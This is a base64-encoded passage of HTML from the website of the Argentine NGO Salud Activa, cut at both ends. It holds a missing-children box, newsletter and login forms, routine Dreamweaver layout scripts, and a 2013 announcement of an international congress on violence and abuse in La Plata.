SIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdG